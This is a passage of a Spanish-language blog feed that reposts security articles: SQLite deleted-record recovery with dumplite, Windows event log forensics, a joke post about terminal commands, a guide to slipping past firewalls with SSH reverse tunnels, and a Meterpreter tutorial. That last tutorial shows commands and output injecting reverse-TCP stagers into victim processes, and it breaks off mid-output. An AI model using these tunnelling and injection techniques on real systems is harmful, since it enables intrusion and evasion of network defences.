<tr><td><a href="https://github.com/aramosf/recoversqlite/tree/master/dumplite" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUMXWAjHewdBfMylcZG-TJihwYrtrfK0bJXTmL7JSqb7ugmMzgHj65Bohj_ePlwJ9jtsd5rnRv7X465iH2C0JUqKQLp_gVNf1DZoXQEO41UISqBZFUT8sCWNIZrxWqqsTkN0dplVkPKyI/s640/dumplite.jpg" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 5: <a href="https://github.com/aramosf/recoversqlite/tree/master/dumplite" style="color: #aa77aa; text-decoration: none;">Dumplite en GitHub</a></i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">El uso es muy sencillo, solo hay que obtener el </span><a href="https://github.com/aramosf/recoversqlite/tree/master/dumplite" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">código de GitHub</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> con </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>gitclone</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> e invocarlo con los parámetros deseados contra el fichero </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>SQLite</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> a analizar. Con la opción</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b> -h </b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">se muestra la ayuda tal y como se puede ver en esta captura durante una ejecución sobre </span><a href="http://0xword.com/es/libros/40-libro-pentesting-kali.html" style="background-color: #113355; color: #aa77aa; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify; text-decoration: none;">Kali Linux</a><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">.</span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmXLAaefDz7sHhek8BrYPN_IVr2B-gsNgSNGdu01Dma0w0dayuJIF6alnVQ4zw4z2L6PDenNMlcv3bHqeweQdSKuJZvGRkoRozgSuOGsGcKR6om-fPwF4r88I2gXXhVGPuKsU5nccbpx8/s1600/sqlite2.png" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmXLAaefDz7sHhek8BrYPN_IVr2B-gsNgSNGdu01Dma0w0dayuJIF6alnVQ4zw4z2L6PDenNMlcv3bHqeweQdSKuJZvGRkoRozgSuOGsGcKR6om-fPwF4r88I2gXXhVGPuKsU5nccbpx8/s640/sqlite2.png" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 6: Descarga de dumplite y menú de ayuda de la herramienta</i></td></tr>
</tbody></table>
<div class="separator" style="background-color: #113355; clear: both; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: center;">
</div>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Las propiedades del fichero y sus características se obtienen con el parámetro "</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>-F</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">". Entre las más relevantes, desde una perspectiva de investigación forense, son:</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b> (1) El número de páginas libres</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> y (2) </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>La codificación de los textos</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL4T6Zp7vv04Blx4mPsi2BRqQf5DMKg7PhC-ALAJMDAGYbkaTuSrgRrHVCnFvGMkUCr81iPBYNfMxr6izg9UwLRtwbiECN01HxyFy70DMd_P4P8JQ5d0kqu5jx-3pJDmNg4ZNPHffYkxg/s1600/sqlite3.png" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL4T6Zp7vv04Blx4mPsi2BRqQf5DMKg7PhC-ALAJMDAGYbkaTuSrgRrHVCnFvGMkUCr81iPBYNfMxr6izg9UwLRtwbiECN01HxyFy70DMd_P4P8JQ5d0kqu5jx-3pJDmNg4ZNPHffYkxg/s640/sqlite3.png" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 7: accediendo a la información de un fichero SQLite</i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Para obtener el contenido de las secciones marcadas como libres, tanto en formato</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>ASCII</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> como en </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>hexadecimal</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">, se usa el parámetro </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>"-u"</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">. </span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center;"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitpo-0A0BTkvzcXEtdQLjVeuz9CMkd12P09U5DCDXc6SaJgXng8S7O_4j3RcPt36nIrnBHwR2uJLcc7pv_soxTV9tp502GaBx4WjOJ1qdxJPQ7z3lxl8LF7JPIwJ_N6Rgl2FEFA3M8Z4g/s1600/sqlite4.png" imageanchor="1" style="color: #aa77aa; margin-left: auto; margin-right: auto; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitpo-0A0BTkvzcXEtdQLjVeuz9CMkd12P09U5DCDXc6SaJgXng8S7O_4j3RcPt36nIrnBHwR2uJLcc7pv_soxTV9tp502GaBx4WjOJ1qdxJPQ7z3lxl8LF7JPIwJ_N6Rgl2FEFA3M8Z4g/s640/sqlite4.png" style="border: 1px solid rgb(68, 102, 136); padding: 4px;" width="470" /></a></td></tr>
<tr><td class="tr-caption" style="font-size: 10.4px;"><i>Figura 8: Volcado de los datos de la base de datos SQLite obtenidas</i></td></tr>
</tbody></table>
<br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Como comentaba anteriormente, tras ejecutar la herramienta se obtienen volcados de información y no se recuperan directamente los registros que hayan sufrido un "</span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>DELETE</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">" como si nada hubiera pasado. El trabajo debe realizarse luego para ir conectando los datos volcados entre sí y extraer lo que había allí antes de ser eliminado. Espero que os sea de utilidad y cualquier comentario o </span><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><b>Commit</b></i><span style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"> será bienvenido.</span><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><br style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;" /><i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Autor: <b>Alejandro Ramos </b>(<a href="https://twitter.com/aramosf" style="color: #aa77aa; text-decoration: none;">@aramosf</a>), escritor del libro "<a href="http://0xword.com/es/libros/32-libro-hacker-epico.html" style="color: #aa77aa; text-decoration: none;">Hacker Épico</a>"</i><br />
<i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;"><br /></i>
<i style="background-color: #113355; color: #cccccc; font-family: "Trebuchet MS", Trebuchet, Verdana, sans-serif; font-size: 13px; text-align: justify;">Fuente: </i><span style="color: #cccccc; font-family: Trebuchet MS, Trebuchet, Verdana, sans-serif;"><span style="font-size: 13px;"><i>http://www.elladodelmal.com/2016/06/recuperar-informacion-eliminada-de-bbdd.html</i></span></span>Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-77270398706947766102014-11-30T11:21:00.003-08:002014-11-30T11:21:40.622-08:00Forensic Windows Event Logs<i>EVT vs EVTX</i><br />
Windows XP is no longer supported by Microsoft, but there are still XP
and 2003 systems out there, and as such, some of us are still going to
need to know the difference between Event Logs (XP, 2003), and Windows
Event Logs (Vista+). <br />
<br />
Besides the binary differences in the records and Event Log files
themselves, on XP/2003, there were three main Event Log files; System,
Application, and Security. On my Windows 7 system, a 'dir' of the <i>winevt\Logs</i> folder reports 143 files. So, there is a <i>LOT</i>
of information being recorded by default on a Windows 7 system; while
not all of it may be useful to you, there is a great deal of information
that can be extracted from the logs when used properly.<br />
<br />
<i>Wevtx.bat</i><br />
When I released <i><a href="http://www.amazon.com/Windows-Forensic-Analysis-Toolkit-Edition/dp/0124171575">Windows Forensic Toolkit 4/e</a></i>, one of the things included in the <a href="http://windowsir.blogspot.com/p/books.html">additional materials</a> is a batch file, <i>wevtx.bat</i>. What the batch file does is use <a href="http://www.microsoft.com/en-us/download/details.aspx?id=24659">LogParser</a> to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline. The tool <i>evtxparse.exe</i>,
used by the batch file, makes use of a mapping file (i.e.,
eventmap.txt) to map event source/ID pairs to an artifact category tag.
As such, when the entry in written to a timeline, records such as
"Microsoft-Windows-Security-Auditing/4624" are prepended with an
appropriate tag (i.e., "[Logon]"), based on the artifact category.<br />
<br />
I really love this tool! What I like about it is that it's easy to
update (eventmap.txt is just a text file), I can add comments to it to
show the source of the information I used to map an event record to
something specific, and it acts as a fantastic little repository for all
of my past experiences. Not only is it a great repository, but it's
incorporated right into the tools that I use on just about every
engagement. <br />
<br />
<i>Records</i><br />
Here are some of the event source/ID pairs that I've found to be useful
during investigations, for such things as malware detection, determining
the <i>window of compromise</i>, etc. I'll say up front that these
records are not 100% infallible, and may not have extremely high
fidelity (some do, others don't...), but they've worked quite well for
me at one time or another, so I'll share them here.<br />
<br />
<i><a href="http://social.technet.microsoft.com/wiki/contents/articles/3336.event-id-1014-microsoft-windows-dns-client.aspx">Microsoft-Windows-DNS-Client/1014</a></i>
– DNS name resolution timeout; I've used this one more than once to
help demonstrate that malware was on a system, even in the face of
anti-forensics techniques (time stomping the malware files, deleting the
malware files, etc.). It's not a 100%, infallible indicator, but it's
worked for me more than once. What has also helped is <i>when</i> this
event record was seen; in a timeline, I could see that it occurred
shortly after a user logged into a laptop, and before the user connected
the system to a WAP. This helped me narrow down the persistence
mechanism for the malware.<br />
<br />
<i><a href="http://www.microsoft.com/en-us/download/details.aspx?id=21561">Microsoft-Windows-Security-Auditing</a>/4720</i> - user account created; because the bad guys do this from time to time.<br />
<br />
<i>McLogEvent/257</i> – McAfee malware detection - McAfee AV may detect
malware behaviors (i.e., run from a Temp folder, etc.) without actually
detecting the EXE itself. This can be very valuable in helping you
determine how malware got onto a system. Also, the AV product may be
configured to warn only, and take no action..so, correlate the event
records (UTC) to the entries in the McAfee logs (local system time)<br />
<br />
<i><a href="http://technet.microsoft.com/en-us/library/cc774009%28v=ws.10%29.aspx">Microsoft-Windows-Windows Defender/3004</a></i> – Windows Defender malware detection<br />
<br />
<i><a href="http://deusexmachina.org.uk/evdoco/event.php?event=953">Service Control Manager/7045</a></i> – A service was installed on the system<br />
<br />
<i><a href="http://technet.microsoft.com/en-us/library/cc756339%28v=ws.10%29.aspx">Service Control Manager/7030</a></i> – A service is configured to interact with the desktop<br />
<br />
<i>Microsoft-Windows-TaskScheduler/<a href="http://technet.microsoft.com/en-us/library/dd363640%28v=ws.10%29.aspx">106</a></i> - New Scheduled Task registration<br />
<br />
Beyond individual event records (source/ID pairs), one of the aspects of
the newer versions of Windows (in particular, Windows 7) is that there
are a lot of events that are being recorded by default, across multiple
Event Log files. What I mean is that when some events occur, multiple
event records are recorded, often across different Event Log files. For
example, when a user logs into a system at the console, there will be
an event recorded in the <i>Security</i> Event Log, a couple in the <i>Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx</i> log, and a couple of events will also be recorded in the <i>Microsoft-Windows-TaskScheduler/Operational.evtx</i>
log. Alone, each of these individual events may get little attention
from an analyst, but when placed together in a timeline, they leave an
indelible mark indicating that a user logged into the system. <br />
<br />
Now, what's really great about this is that some of the Event Logs "roll
over" faster than others. As such, some of the source/ID pairs that
are part of an indicator cluster may have been expired from their
respective Event Logs. However, the remaining source/ID pairs in the
cluster will still provide a very good indicator that that event in
question took place. This is particular useful for infrequent events,
and I've used this information more than once to demonstrate repeated
activity going back weeks and even months prior to what was thought to
be the date of interest. <br />
<br />
<i>Anti-Forensics</i><br />
Event auditing is one of those things that just happens in the
background on Windows systems. This is great, because sometimes Event
Log records can help us determine if anti-forensics techniques have been
employed. For example, using Event Log records, you can determine if
someone has <a href="http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html">changed the system time</a>.<br />
<br />
During an exam, I found that a system had been infected with malware
that installed as a Windows service, and during the installation
process, the .exe file had been time-stomped. Fortunately, when the
malicious service was installed, an event source/ID pair of "<i>Service Control Manager/7045</i>"
was created, indicating that a new service had been installed on the
system. I was able to correlate that information with other sources
(MFT, etc.) to better determine the correct time of when the malicious
.exe was created on the system, and nail down the infection vector.<br />
<br />
<i>Carving</i><br />
If you need to carve Windows Event Log records, for any reason...from
unallocated space, memory, the pagefile, whatever...the tool to use is
Willi Ballentin's <a href="https://github.com/williballenthin/EVTXtract">EVTXtract</a>.
The "tool" is really a set of Python scripts that you run consecutively
against the data in order to recover Windows Event Log records. I've
used these scripts a couple of times, and even had a fellow team member
use them on an engagement and quite literally recover the "smoking gun".
<br />
<br />
When carving for deleted records on a Windows XP or 2003 system, I use a
custom Perl script that I wrote that's based on some of the code I've
released with my books.<br />
<br />
<i>Timelines</i><br />
When all this is said and done, a blog post on just individual Windows Event Log records isn't <i>really</i>
all that valuable. Yes, I've created timelines from just a handful of
*.evtx files, for use in triage, etc. This has proved to be extremely
valuable to me.<br />
<br />
<i>Resources</i><br />
WindowsIR: <a href="http://windowsir.blogspot.com/2012/06/timeline-analysis.html">Timeline Analysis</a><br />
SANS Reading Room: <a href="http://www.sans.org/reading-room/whitepapers/logging/detecting-security-incidents-windows-workstation-event-logs-34262">Detecting Security Events Using Windows Workstation Event Logs</a><br />
NSA: <a href="https://www.nsa.gov/ia/_files/app/spotting_the_adversary_with_windows_event_log_monitoring.pdf">Spotting the Adversary with Windows Event Log Monitoring</a><br />
<br />
Fuente: http://windowsir.blogspot.com/2014/10/windows-event-logs.html Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-20369502856981771912014-11-30T10:40:00.000-08:002014-11-30T10:40:08.283-08:00Si la vida tuviera terminal (Humor)Si la vida pudiera ser manejada desde una terminal linux, abría muchas cosas que podríamos hacer sin tanto problema.<br />
por ejemplo:<br />
<br />
¿ No encuentras tus llaves? tranquilo mira<br />
<br />
<br />
<blockquote class="tr_bq">
<b><i>ls | grep llaves</i></b></blockquote>
Listo aquí estan.<br />
<br />
o si tu auto no enciende<br />
<br />
<blockquote class="tr_bq">
<b><i>chmod +x tsuru_negro</i></b></blockquote>
<br />
Y prende al llavaso.<br />
<br />
Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!<br />
<br />
<blockquote class="tr_bq">
<i><b>clear</b></i></blockquote>
Todo limpio en un santiamén.<br />
<br />
¿tienes que mudarte de casa? pffff pan comido<br />
<br />
<blockquote class="tr_bq">
<i><b>mv /home/darkspark/* /newhome/darkspark/ </b></i></blockquote>
listo y sin cargar nada !bitch¡<br />
<br />
¿Llego tu madre mientras estabas viendo tu colección de porno? ¡no ay problema!<br />
<br />
<blockquote class="tr_bq">
<b><i>mv porno* ~/bajo_mi_cama/.porno*</i></b></blockquote>
y todo el porno se iría bajo la cama, y aunque se asomaran por debajo,
quedaría oculto. Genial¿no?. Aun que si realmente tu madre no supiera
ya, donde escondes tu porno bastaría con que hiciera un<br />
<br />
<blockquote class="tr_bq">
<b><i>ls -la</i></b></blockquote>
Insisto, solo si realmente tu madre no supiera donde la escondes. <br />
<br />
<br />
¿O si un ladrón quiere robarte tu auto?<br />
<br />
<blockquote class="tr_bq">
<b><i>chown ladron:lacras tsuru_negro </i></b></blockquote>
y aunque lo agarráramos infraganti<br />
<br />
<blockquote class="tr_bq">
<b><i>sudo chown ladron:lacras tsuru_negro</i></b></blockquote>
¡Vale madre! ni las manitas podríamos meter.<br />
<br />
!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡<br />
<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
<b><i>for ($i=0;$i<=10000;$i++){</i></b><b><i>cat pescado > pecado.$i;}</i></b></blockquote>
</blockquote>
<br />
!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si
estaría mas cabron, pero bueno debe haber una forma... ¿no?<br />
<br />
y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows<br />
<br />
<blockquote class="tr_bq">
<b><i>exit</i></b></blockquote>
<br />
Fuente: http://elblogdedarkspark.blogspot.com/2014/09/si-la-vida-tuviera-terminal-humor.html Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-52467839380727927682014-11-30T10:37:00.001-08:002014-11-30T10:37:09.250-08:00Saltar firewall con ssh<div style="text-align: justify;">
Para los que no lo sepan SSH (<a href="http://es.wikipedia.org/wiki/OpenSSH" rel="nofollow">openSSH</a> para ser mas específicos) es una utilidad que nos permite <strong>gestionar una maquina *nix de manera remot</strong>a,
la gestión se realiza vía linea de comandos, pero como sabrán la
mayoría de los entendidos en este tema, con un acceso a consola es mas
que suficiente.</div>
<div style="text-align: justify;">
En ocasiones dependiendo de la
funcionalidad que deseemos implementar es necesario que tengamos abierto
puertos para algún servicio ya sea un servidor web, DNS, impresión
,etc. Pero en ocasiones esas posibilidades no se encuentran a nuestro
alcance ya que simplemente o nuestro ISP nos tiene dentro de un NAT
gigante (muchas cableras) o nuestros Modem/Router vienen capado de
fabrica para que los mismos no se puedan tocar a nuestro antojo, y por
ende poder abrir los puertos que requerimos.</div>
<h1 style="text-align: center;">
SSH en un túnel Reverso</h1>
<div style="text-align: justify;">
Como bien sabremos SSH tiene diversas
funcionalidades entre las cuales destacan :forwardeo de puertos,
ejecución de programas por medio del gestor X11, etc. Pero una de las
mas interesantes a mi parecer y que en un sinfín de ocasiones me ha
sacado de apuros es el <strong>túnel reverso</strong>. Esta funcionalidad nos da la posibilidad de <strong>redireccionar puertos hacia nosotros pudiendo así hacer bypass de cualquier firewall</strong>, haciendo una analogía es como hace muchos a~nos se realizaban infecciones con troyanos reversos.</div>
A continuación ampliaremos mas el tema:<br />
Regularmente una conexión SSH se realiza de la siguiente manera:<br />
<blockquote>
<div style="text-align: center;">
Cliente SSH ———> Servidor SSH</div>
</blockquote>
<div style="text-align: justify;">
Como podremos observar en una conexión
SSH tradicional el cliente SSH es el que realiza la conexión hacia el
servidor y es así como se establece la conexión. Ahora bien, es
importante considerar que para que esta conexión exista es necesario que
en el servidor se <strong>tenga abierto el puerto de SSH</strong>.</div>
<div style="text-align: justify;">
En el esquema de conexión de túnel SSH
reverso la conexión es hacia nosotros, para ello se ejemplificara mejor
con la siguiente imagen:</div>
<blockquote>
<div style="text-align: center;">
Servidor A —–> Servidor C (pasarela) <——-> Servidor B</div>
</blockquote>
<div style="text-align: justify;">
Donde imaginemos que A es el servidor
donde tenemos una aplicación corriendo (un servidor web por ejemplo), C
es un servidor que ocuparemos como pasarela y B sera el servidor donde
requerimos ver el servidor web del servidor A.</div>
<div style="text-align: justify;">
En un esquema de funcionamiento
tradicional tan solo bastaría con abrir el puerto web en el firewall del
Servidor A para que el servidor B pudiera acceder de forma ordinaria al
web server, pero imaginemos que por restricciones del Sysadmin,
simplemente esto no es posible. Aquí es donde entra el SSH reverso. El
servidor A se conectara por medio de un túnel reverso SSH al servidor C y
de ahí con un cliente SSH nos conectaremos del servidor B al servidor
C, para poder acceder al webserver de A.</div>
A continuación algunos ejemplos didácticos para hacer mas comprensible esta metodología de funcionamiento.<br />
<h2 style="text-align: center;">
Ver el WebService escuchando en el puerto 80 del Servidor A en el navegador del Servidor B</h2>
<blockquote>
<div style="text-align: center;">
Servidor A < ————-> Servidor B</div>
</blockquote>
Sintaxis:<br />
<blockquote>
ssh usuario@servdorA -L 80:localhost:80</blockquote>
Esto lo que hará es redireccionar el puerto 80 del servidor A hacia el puerto 80 del servidor B<br />
<h2 style="text-align: center;">
Túnel Reverso del servidor A al servidor C, para que el servidor B pueda acceder a la consola SSH del servidor A.</h2>
Sintaxis:<br />
Consola servidor A:<br />
<blockquote>
ssh usuario@servidorC -N -R 2222:localhost:22</blockquote>
Donde:<br />
-N Es una opción para que el servidor A NO PUEDA ejecutar comandos en la consola del servidor C<br />
-R indica que es un túnel reverso.<br />
22 Es el puerto donde esta escuchando el demonio SSH del servidor A<br />
2222 Es el puerto donde se mandara el puerto SSH del servidor A en el servidor C<br />
Consola Servidor B:<br />
<blockquote>
ssh usuario@servidorC</blockquote>
Después de esto una vez dentro del servidor C, tan solo nos restara
hacer una conexión SSH a nuestro localhost en el puerto antes
forwardeadado:<br />
Consola servidor B:<br />
<blockquote>
ssh usuario@localhost -p 2222</blockquote>
Donde:<br />
-p indica el puerto al cual deseamos conectarnos<br />
2222 Es el puerto donde se forwardeo el puerto del servidor A<br />
<br />
<div style="text-align: justify;">
Lo mas interesante de esto es que al ser el túnel SSH una conexión saliente <span style="color: blue;"><strong>la misma no es bloqueda por el firewall</strong></span>,
esto es algo que he probado en diversas instituciones tanto publicas
como privadas y en ninguna me han bloqueado la salida de mi tunel SSH.
Esto en teoría podría prevenirse con un IDS bien configurado, pero
siendo honestos, <strong>es algo que nadie se toma muy en cuenta</strong>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<strong>NOTA:</strong> a día de hoy esta funcionalidad solo la he probado en puertos TCP</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Fuente: http://dexter-one.net/in-seguridad/el-poder-de-ssh-como-bypassear-un-firewall-de-manera-facil/ </div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-28607681447729118152014-11-30T10:34:00.000-08:002014-11-30T10:34:16.356-08:00Manipulación de Memoria sobre una maquina comprometida utilizando MeterpreterMeterpreter es bastante robusto a la hora de manipular la memoria de
una víctima y los procesos cargados en ella, este nivel de potencia es
alcanzado gracias a la definición de scripts meterpreter escritos en
Ruby, ya que le permite al desarrollador crearlos y desplegarlos en
metasploit o utilizar algunos existentes para diversos fines. En
entradas anteriores se ha indicado el uso de algunos de estos scripts y
herramientas adicionales como Volatility FrameWork y PMDump, en esta
ocasión, se indicará el uso de algunos scripts adicionales para
manipular la memoria de una victima determinada.<br />
<span id="more-359"></span><br />
<h2>
multi_meter_inject</h2>
Este script intentará crear una conexión reversa en la memoria de uno
o muchos PID’s especificados por parámetro, en el caso de que estos PID
no sean indicados, se iniciará por defecto un nuevo proceso con
notepad.exe. Una de las principales ventajas de este script es que se
pueden especificar múltiples host y multiples PID’s para crear el stager
de meterpreter, esto significa que la sesión meterpreter creada, puede
“replicarse” a otras maquinas en las que el atacante también tendrá un
payload meterpreter esperando a la conexión del stager.<br />
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones
meterpreter contra la maquina comprometida como maquinas disponga y cada
una de estas sesiones será “insertada” en un proceso que se encuentra
en ejecución en la maquina comprometida.<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run multi_meter_inject -h</strong>
Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin
to memory of multiple PIDs, if none is provided a notepad process.will
be created and a Meterpreter Payload will be injected in to each.<br />
OPTIONS:<br />
-h Help menu.<br />
-m Start Exploit multi/handler for return connection<br />
-mp <opt> Provide Multiple PID for connections separated by comma one per IP.</opt><br />
-mr <opt> Provide Multiple IP Addresses for Connections separated by comma.</opt><br />
-p <opt> The port on the remote host where Metasploit is listening (default: 4444)</opt><br />
-pt <opt> Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp</opt></td>
</tr>
</tbody>
</table>
Un ejemplo de ejecución de este script puede ser el siguiente:<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792</strong>
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344<br />
[*] Injecting meterpreter into process ID 628<br />
[*] Allocated memory at address 0x00d60000, for 290 byte stager<br />
[*] Writing the stager into memory…<br />
[+] Successfully injected Meterpreter in to process: 628<br />
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344<br />
[*] Injecting meterpreter into process ID 792<br />
[*] Allocated memory at address 0x003e0000, for 290 byte stager<br />
[*] Writing the stager into memory…<br />
